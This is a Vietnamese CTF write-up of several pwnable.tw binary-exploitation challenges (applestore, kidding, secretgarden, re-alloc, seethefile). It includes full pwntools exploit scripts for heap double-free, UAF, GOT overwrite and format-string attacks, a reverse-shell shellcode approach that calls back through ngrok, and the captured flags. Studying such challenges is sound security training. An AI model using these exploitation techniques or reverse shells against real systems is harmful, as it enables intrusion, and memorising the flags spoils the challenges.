- đếm được từ 26 đến 33 là
ret -> system
được 8 lần system (hết 7 lần padding)
- khi tới system ta phải thêm 2 lần binsh vì trong đó còn mov các thể loại

sub esp,0xc
mov eax,[esp+0x10]
tức là sau khi vào hàm system, esp hiện tại là binsh, lùi 12 tăng 16 rồi đưa địa chỉ ngay đó vào $eax
ta phải thêm 1 lần binsh ($esp+0x4)
get flag

FLAG{Dubo_duBo_dub0_s0rttttttt}
applestore [200 pts]
tomcr00se rooted the galaxy S5, but we need you to jailbreak the iPhone8!
nc chall.pwnable.tw 10104
applestore
libc.so


main()

menu()

handler()

list()

add()
thực hiện 2 hàm create() và insert()

create()
tạo 1 chunk 0x10 size 0x20 trả về 1 con trỏ ptr
gắn giá tiền sản phẩm ở ptr[1]
ở ptr[2] và ptr[3] gắn 0

insert()
thêm vào gió hàng theo kiểu fd và bk (double link-list)
vòng for để chạy đến cuối giỏ hàng
i[2] = ptr
(fd)
*(ptr+12) = i
(bk)

delete()
xoá sản phầm bằng phép gán bình thường
xoá fd và bk của sản phẩm đó
===> không có hàm free

cart()
tính tổng tiền trong giỏ hàng

checkout()
nếu tổng giá trị giỏ hàng đúng bằng 7174
nhận được iPhone 8 với giá 1$
tự động thêm vào giỏ hàng và tăng tổng giá trị tiền hàng lên 7175
analyse
- từ ida, ta có thể đưa ra nhận xét về cấu trúc khi add() 1 sản phẩm
-
- hàm delete() không có free nên hoàn toàn không thể khai thác DBF hoặc UAF
-
- trong hàm checkout() lại không có hàm create() để tạo heap, dùng trực tiếp insert() để gán fd và bk

==> data nằm trên stack
===> control được dữ liệu
-
- đối chiếu biến trên stack

checkout()

delete()
func |
checkout() |
stack |
delete() |
func |
|
|
ebp-0x30 |
v3 |
v3 = atoi(v6); |
|
|
ebp-0x22 |
v6 |
my_read(v6, 21); |
asprintf(v2, "%s", "iPhone 8"); |
product.name |
ebp-0x20 |
|
// can ow |
v3 = 1; |
product.price |
ebp-0x1c |
|
// can ow |
insert((int)v2); |
product.fd |
ebp-0x18 |
|
// can ow |
insert((int)v2); |
product.bk |
ebp-0x14 |
|
// can ow |
get through checkout()
- muốn số tiền đúng với 7174, ta làm phép toán đơn giản để loại trừ
- ta sẽ thêm vào giỏ hàng 20 cái 'iPhone 6 Plus' giá 299💲 và 6 cái 'iPhone 6' giá 199💲
==> tổng tiền hàng = 7174
===> có 'iPhone 8' giá 1💲
leak libc
- như ta thấy trong hàm delete() có chức năng in ra ptr (v2)
printf("Remove %d:%s from your shopping cart.\n", v1, *(const char **)v2);
- ta sẽ ow lên v2 thành
puts@got

có 2 byte sẽ nằm trong con số khi chuyển đổi qua atoi()
sau đó nó sẽ ghi đè lên ptr(v2)
- đến đây ta sẽ leak được libc
system + '||sh'
- tương tự khi khi đè
@got
của 1 hàm thành system để khi thực thi hàm đó sẽ gọi system lên với tham số mình truyền vào
- vậy thì ở đây chọn
atoi@got
là hợp lí nhất (khi trở về handler() có atoi, lại có thể truyền '||sh' vào)
- nhưng ở đây để ghi đè như thế, ta cần xử lí một chút ở đoạn này

ở đây không còn nghĩa xoá nữa
do ta có thể control được stack
đoạn code trên là thay đổi kiểu BK->fd = FD và ngược lại
- ta sẽ xem khi return về handler()

v1 : ebp-0x22
- lúc này khi return về, nó sẽ lấy tham số ở ebp rồi trừ 0x22 và tại đó sẽ ghi đè data
- ta sẽ hô biến tại ebp-0x22 là
atoi@got
sau đó data truyền vào là libc.sym['system']
- kế system sẽ là '||sh'
exchange ebp-0x22 & atoi@got
- đồng nghĩa trao đổi
$ebp
thành atoi@got+0x22
- ta sẽ dựa vào chức năng của delete() để đổi 2 giá trị trên
- ngoài ra do còn
leave ; ret
nên ta phải lui $ebp thêm 0x8
checkout() |
stack |
payload |
delete() |
|
ebp-0x22 |
'số_2_chữ_số' |
v6 |
product.name |
ebp-0x20 |
0x0 |
|
product.price |
ebp-0x1c |
0x0 |
|
product.fd |
ebp-0x18 |
atoi@got + 0x22 |
|
product.bk |
ebp-0x14 |
ebp - 0x8 |
|
- ô!!!
- thế thì ta phải leak cả stack
- tận dụng sau khi leak libc thành công, ta sẽ leak địa chỉ
__environ
của libc
- cách leak tương tự như leak libc
- sau khi leak xong, ta sẽ tính offset đến $ebp trong hàm delete()

get flag

FLAG{I_th1nk_th4t_you_c4n_jB_1n_1ph0n3_8}
Kidding [400 pts]
Can you get a shell for me?
Just kidding, it's unexploitable.
nc chall.pwnable.tw 10303
kidding


main()
vỏn vẹn nhiu đó hoi
read 100 byte sau đó đóng hết stdin, stdout và stderr
stack prot
- thực ra ngoài hàm main() thì có 1 số hàm đáng lưu tâm


_dl_make_stack_executable()
- nhìn qua thì có hàm mprotect() để set quyền
- ta cần _stack_prot mang giá trị 7 để hàm mprotect() đó cho ta quyền execution
- để qua hàm if check rồi tới mprotect(), ta cần $eax (a1) là _libc_stack_end
- cuối cùng ta sẽ thực thi shellcode
- đầu tiên cần đưa 7 vào _stack_prot
- tìm các gadget:

mov_eax_7 = 0x0808eff0
gắn 7 cho $eax

xor = 0x080e00e0
xor [$ebp+0xe] với $al
- sau đó gọi _libc_stack_end để set _stack_prot rồi gọi 1 thanh ghi thực thi shellcode

call_esp = 0x080c99b0
shellcode
reopen socket
- vì chall đã close hết các fd nên dù ta viết shell execve thì command cũng chả có tác dụng gì
- nên ta sẽ tạo socket mới để connect tới ip mới
- có 2 loại là server và client:
- client thì chỉ thực hiện một lệnh duy nhất sau khi mở socket là connect
- còn đối với tạo server thì có nhiều bước
gồm bind, set port và listen là mở port lên để đợi connect
- cho dễ thì ta sẽ chọn client
- ta sẽ public 1 ip nhằm mục đích điều hướng shell trên server về shell trên local
revere shell
- ta cần tạo 1 public IP
- nên sẽ sử dụng tool ngrok trên Linux
phải cài qua link https://ngrok.com/ (sign_up các kiểu)
- tạo 1 kết nối:
ngrok tcp 8080
- dựa vào port có được từ tạo public IP trên sẽ viết shellcode connect
addr = IP + port + AF_INET
vd 192.168.0.224 -> đổi sang hex từng số, đảo byte
port 8080 -> đổi sang hex, đảo byte
AF_INET = 0x0002 (2 byte)
phải đảo byte vì kiểu dữ liệu little-edian
get flag
- tới đây hơi ảo xíu, ta cần điều hướng stdout sang socketfd
socketfd có thể thấy khi DEBUG trên local (chạy shellcode)
- và đọc flag cần qua 1 file binary
đọc source C mới hiểu cách đọc flag (dễ lắm)

FLAG{Ar3_y0u_k1dd1ng_m3}
Secret Garden [350 pts]
Find the flag in the garden.
nc chall.pwnable.tw 10203
secretgarden
libc.so


main()

menu()

add()

show()

delete()

clear()
analyse
- nhìn sơ qua chức năng của program:
- Raise a flower:
- malloc(0x28) -> prompt
flower->size
and flower->name
- malloc(size) -> prompt
flower->color
- set
flower->is_used
= 1
- limit 100 flowers
- Visit the garden:
- display
flower->color
- only display if
flower->is_used
equal
- Remove a flower from the garden:
- free
flower->name
- set
flower->is_used
= 0
- not set ptr = NULL –-> DBF vuln
- Clean the garden:
- iterates free all flowers
- Leave the garden:
- từ IDA, có thể thấy struct của 1
flower
như sau:
leak libc
- ở option1, ta có thể chọn size thoải mái (chỉ giới hạn số lượng)
- cách leak libc thì đơn giản thôi
- tạo chunk size vừa đủ, xoá chunk (vào ubin) rồi tạo lại chunk (size hợp lí) ghi nối chuỗi với main_area rồi in ra
nối chuỗi vs bk_pointer
malloc_hook + one_gadget
- tới bước này ta chỉ cần trigger DBF trên fastbin với idx là 0x70
- vì ở
__malloc_hook - 35
là 1 fake chunk có size 0x7f (làm tròn xuống 0x70)
- sau đó ow thành one_gadget
- để có shell ta cần trigger lỗi Aborted là xong
trigger bằng cách DBF

get flag

from pwn import *
context.binary = exe = ELF('./secretgarden_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
ld = ELF('./ld-2.23.so', checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
# b*0x555555400da1
# b*0x555555400fe0
# b*0x555555400e74
# c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10203)
else:
p = process(exe.path)
def add(size,name,color):
sla(b'choice : ',b'1')
sla(b'name :',str(size))
sa(b'flower :',name)
sla(b'flower :',color)
def show():
sla(b'choice : ',b'2')
def delete(idx):
sla(b'choice : ',b'3')
sla(b'garden:',str(idx))
def clean():
sla(b'choice : ',b'4')
add(0x400, b'A'*4, b'A'*4)
add(0x100, b'C'*4, b'C'*4)
add(0x400, b'B'*4, b'B'*4)
add(0x400, b'd'*4, b'D'*4)
delete(2)
add(0x200,b'A'*8, b'A'*8)
show()
p.recvuntil(b'[4] :')
p.recvuntil(b'A'*8)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x3c3b78
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
fastbin_size = 0x60
add(fastbin_size,b'aaaa',b'aaaa')
add(fastbin_size,b'bbbb',b'bbbb')
delete(5)
delete(6)
delete(5)
gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
one_gadget = libc.address + gadget[2]
malloc_hook = libc.sym['__malloc_hook'] - 35
add(fastbin_size,p64(malloc_hook),b'cccc')
add(fastbin_size,b'dddd',b'dddd')
add(fastbin_size,b'eeee',b'eeee')
payload = b'A'*19 + p64(one_gadget)
add(fastbin_size,payload,b'cccc')
delete(9)
delete(9)
p.interactive()
FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}
Re-alloc [200 pts]
I want to realloc my life :)
nc chall.pwnable.tw 10106
re-alloc
libc.so


main()

menu()

allocate()

reallocate()

rfree()
analyse
- case1: tạo chunk ptr (tối đa 2 chunks)
- case2: sửa chunk ptr
- case3: xoá chunk ptr
- case4: thoát chương trình
- BUG nằm ở realloc, nếu size = 0 thì realloc tương tự free
- ở case3 free bình thường bao gồm xoá con trỏ ptr, nhưng chỉ cần free mà không xoá sẽ có UAF vuln
leak libc
- vấn đề tiếp theo là là leak libc
- hiện không thể BOF như bình thường, cũng như chả có chức năng nào chương trình in ra content của chunk cả
- ta sẽ tấn công GOT thôi
- dựa vào UAF, ta sẽ duplicate tcache, ghi
printf@PLT
vào atoll@GOT
libc ver 2.29 -> còn security check ở bk_pointer
bypass DBF bằng cách ow NULL
- vậy chỉ cần mỗi lần thực hiện atoll, ta chỉ cần truyền vào FMTSTR là có thể leak thoải mái

libc leak ở %23
one_gadget
- và cũng từ lỗi FMTSTR đó mà ta sẽ ow
exit@GOT
thành one_gadget
- ta cần phải leak stack rồi từ đó FMTSTR ow thôi

get flag

from pwn import *
context.binary = exe = ELF('./re-alloc_patched',checksec=False)
libc = ELF('./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so',checksec=False)
ld = ELF('./ld-2.29.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*menu+119
b*read_long+62
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10106)
else:
p = process(exe.path)
def add(idx, size, data):
sla(b'Your choice: ',b'1')
sla(b'Index:',str(idx))
sla(b'Size:',str(size))
sa(b'Data:',data)
def edit(idx, size, data):
sla(b'Your choice: ',b'2')
sla(b'Index:',str(idx))
sla(b'Size:',str(size))
if size == 0:
return
sa(b'Data:',data)
def delete(idx):
sla(b'Your choice: ',b'3')
sla(b'Index:',str(idx))
def fmt_leak(idx):
sla(b'Your choice: ',b'1')
sa(b'Index:',f'%{idx}$p')
return p.recv(14)
def fmt_write(idx, value):
sla(b'Your choice: ',b'1')
sa(b'Index:',f'%{value}c%{idx}$hhn'.ljust(16))
add(0,0x18,b'aaaa')
edit(0,0,b'')
edit(0,0x18,b'\0'*0x10)
delete(0)
add(0,0x18,p64(exe.got['atoll']))
add(1,0x18,b'aaaa')
edit(1,0x28,b'AAAA')
delete(1)
add(1,0x18,p64(exe.plt['printf']))
libc_leak = int(fmt_leak(23),16)
libc.address = libc_leak - 0x26b6b
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
stack_leak = int(fmt_leak(18),16)
info("stack leak: " + hex(stack_leak))
GDB()
for i in range(3):
fmt_write(12, (stack_leak & 0xff) + i)
fmt_write(18, p64(exe.got['_exit'])[i])
gadget = [0xe21ce,0xe21d1,0xe21d4,0xe237f,0xe2383,0x106ef8]
one_gadget = libc.address + gadget[4]
fmt_write(12, stack_leak & 0xff)
for i in range(6):
fmt_write(18, (exe.got['_exit'] & 0xff) + i)
fmt_write(22, p64(one_gadget)[i])
p.sendline(b'4')
p.interactive()
FLAG{r3all0c_the_memory_r3all0c_the_sh3ll}
seethefile [250 pts]
Can you see anything?
Get a shell for me.
nc chall.pwnable.tw 10200
seethefile
libc.so


main()

openfile()
bị cấm mở file "flag"

readfile()
đọc 1 phần tử có 399 byte từ file mở hiện tại
lưu vào magicbuf

writefile()
nếu data in ra có kí tự 'flag" hay "FLAG" thì exit

closefile()
analyse
- case1 -> case4 như trên
- case5 là thoát, nhưng trước đó có input thêm

- note lại 1 số địa chỉ cần thiết

magicbuf = 0x804b0c0

name = 0x804b260
fp = 0x804b280
/proc/self/maps
- không thể đọc flag, đồng thời ở description yêu cầu lấy shell
- phải leak libc rồi system thôi
- trong linux,
/proc/self/maps
là một tệp ảo cung cấp thông tin về memory map của tiến trình hiện tại (giống vmmap
trên gdb)
- ta sẽ readfile() 2 lần và writefile() ra
do ta cần đọc 2 phần tử
nếu chỉ 1 thì in ra chỉ có vùng memory của exe

đọc lần 2 sẽ đi vào libc

_IO_FILE attack
- như đã nói, case5 có input lần cuối rồi mới exit

có BOF từ scanf %s
- khả năng tràn xuống fp khả thi

- vậy ta sẽ attack _IO_FILE struct khi nhập xong name, có 1 bước tác động đến fp là
fclose(fp)

không phải _IO_FILE_plus nên thay đổi vtable không có nghĩa
chỉ còn là _IO_FILE thôi
source
- coi source trên, ta cần phải thoả mãn bit
_IO_IS_FILEBUF
là chưa được set
cần bypass qua _IO_un_link
define
- bit đầu là 0x2000 -> bitwise NOT là 0xDFFF
flags = 0xFFFFDFFF
- sau cái flags sẽ truyền
b';/bin/sh\0'
thêm ';' vì khi vào system file 32
nó sẽ sub esp, 0xc
rồi mov eax,[esp + 0x10]

vị trí đó là flags, lệnh cmd flags đó không có nghĩa
- tiếp theo khi DEBUG, nhảy vào hàm fclose rồi thì thấy nó sẽ nhảy vào 1 địa chỉ tăng thêm 8

- từ đó tăng giảm padding của payload rồi ngay địa chỉ đó khi nhảy là hàm system
get flag
- sau khi có shell ở server, ta phải thêm 1 bước đọc source lấy flag (cũng không khó)
phải kiểm tra bằng ls -al
trong thư mục /home
mới biết =))

FLAG{F1l3_Str34m_is_4w3s0m3}